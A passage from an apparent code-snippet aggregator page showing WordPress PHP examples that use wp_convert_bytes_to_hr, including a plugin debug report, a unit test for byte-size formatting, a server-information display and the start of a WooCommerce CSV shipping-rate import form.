fsockopen: ' . $fsockopen . '
============================================================
Active plugins
============================================================
' . $plugin_list . '
============================================================
Plugin Option
============================================================
' . esc_textarea(stripslashes(json_encode(array_merge(get_option($this->settings_menu['name']), $empty_keys)))) . '
';
$html = sprintf('<textarea readonly="readonly" rows="5" cols="65" style="%4$s" class="%1$s" id="%2$s" name="%2$s">%3$s</textarea>', $args['class'], 'debug_report', $value, 'width:95% !important;height:400px !important');
$html .= sprintf('<br><span class="description"> %s</span>', $args['desc']);
echo $html;
}
}
开发者ID:visitcasabacardi,项目名称:backup-nov-08-2015,代码行数:76,代码来源:class.settings-api.php
示例12: test_wp_convert_bytes_to_hr
/**
* @ticket 19067
* @expectedDeprecated wp_convert_bytes_to_hr
*/
function test_wp_convert_bytes_to_hr()
{
$kb = 1024;
$mb = $kb * 1024;
$gb = $mb * 1024;
$tb = $gb * 1024;
// test if boundaries are correct
$this->assertEquals('1TB', wp_convert_bytes_to_hr($tb));
$this->assertEquals('1GB', wp_convert_bytes_to_hr($gb));
$this->assertEquals('1MB', wp_convert_bytes_to_hr($mb));
$this->assertEquals('1KB', wp_convert_bytes_to_hr($kb));
$this->assertEquals('1 TB', size_format($tb));
$this->assertEquals('1 GB', size_format($gb));
$this->assertEquals('1 MB', size_format($mb));
$this->assertEquals('1 KB', size_format($kb));
// now some values around
$hr = wp_convert_bytes_to_hr($tb + $tb / 2 + $mb);
$this->assertEquals(1.50000095367, (double) str_replace(',', '.', $hr), 'The values should be equal', 0.0001);
$hr = wp_convert_bytes_to_hr($tb - $mb - $kb);
$this->assertEquals(1023.99902248, (double) str_replace(',', '.', $hr), 'The values should be equal', 0.0001);
$hr = wp_convert_bytes_to_hr($gb + $gb / 2 + $mb);
$this->assertEquals(1.5009765625, (double) str_replace(',', '.', $hr), 'The values should be equal', 0.0001);
$hr = wp_convert_bytes_to_hr($gb - $mb - $kb);
$this->assertEquals(1022.99902344, (double) str_replace(',', '.', $hr), 'The values should be equal', 0.0001);
// edge
$this->assertEquals('-1B', wp_convert_bytes_to_hr(-1));
$this->assertEquals('0B', wp_convert_bytes_to_hr(0));
}
开发者ID:kucrut,项目名称:wordpress,代码行数:32,代码来源:media.php
示例13: cvg_serverinfo
/**
* Function to get webserver information.
* author Praveen Rajan
*/
function cvg_serverinfo()
{
global $wpdb;
// Get MYSQL Version
$sqlversion = $wpdb->get_var("SELECT VERSION() AS version");
// Get PHP Max Upload Size
$upload_max = wp_convert_bytes_to_hr(wp_max_upload_size());
if (CvgCore::ffmpegcommandExists()) {
$ffmpeg = 'Installed';
} else {
$ffmpeg = 'Not Installed';
}
?>
<li><?php
_e('Operating System');
?>
: <span><?php
echo PHP_OS;
?>
(<?php
echo PHP_INT_SIZE * 8;
?>
Bit)</span></li>
<li><?php
_e('Server');
?>
: <span><?php
echo $_SERVER["SERVER_SOFTWARE"];
?>
</span></li>
<li><?php
_e('MySQL Version');
?>
: <span><?php
echo $sqlversion;
?>
</span></li>
<li><?php
_e('PHP Version');
?>
: <span><?php
echo PHP_VERSION;
?>
</span></li>
<li><?php
_e('PHP Max Upload Size');
?>
: <span><?php
echo $upload_max;
?>
</span></li>
<li><?php
_e('FFMPEG');
?>
: <span><?php
echo $ffmpeg;
?>
</span></li>
<?php
if ($ffmpeg == 'Not Installed') {
?>
<li style="text-align:justify;">
<span style="color:red;font-weight:normal;">[Note: Preview images for uploaded videos will not be created automatically using FFMPEG. Manually upload preview images for videos.]</span>
</li>
<?php
}
?>
<li>
<?php
_e('PHP extension `SimpleXML` : ');
if (function_exists('simplexml_load_file')) {
echo "<span>Enabled</span>";
} else {
echo "<span style='color:red;font-weight:normal;'>Not enabled (Required for Youtube video addition)</span>";
}
?>
</li>
<li>
<?php
_e('PHP setting `allow_url_fopen` : ');
if (ini_get('allow_url_fopen')) {
echo "<span>Enabled</span>";
} else {
echo "<span style='color:red;font-weight:normal;'>Not enabled (Required for Youtube video addition)</span>";
}
?>
</li>
<?php
}
开发者ID:axovel,项目名称:easycarcare,代码行数:95,代码来源:core.php
示例14: greet
/**
* greet function.
*
* @access public
* @return void
*/
function greet()
{
global $woocommerce;
echo '<div class="narrow">';
echo '<p>' . __('Hi there! Upload a CSV file containing per-product shipping rates to import the contents into your shop. Choose a .csv file to upload, then click "Upload file and import".', 'woocommerce-shipping-per-product') . '</p>';
echo '<p>' . __('Rates need to be defined with columns in a specific order (6 columns). Product ID, Country Code, State Code, Postcode, Cost, Item Cost', 'woocommerce-shipping-per-product') . '</p>';
$action = 'admin.php?import=woocommerce_per_product_shipping_csv&step=1';
$bytes = apply_filters('import_upload_size_limit', wp_max_upload_size());
$size = wp_convert_bytes_to_hr($bytes);
$upload_dir = wp_upload_dir();
if (!empty($upload_dir['error'])) {
?>
<div class="error"><p><?php
_e('Before you can upload your import file, you will need to fix the following error:');
?>
</p>
<p><strong><?php
echo $upload_dir['error'];
?>
</strong></p></div><?php
} else {
?>
<form enctype="multipart/form-data" id="import-upload-form" method="post" action="<?php
echo esc_attr(wp_nonce_url($action, 'import-upload'));
?>
">
<table class="form
|
请发表评论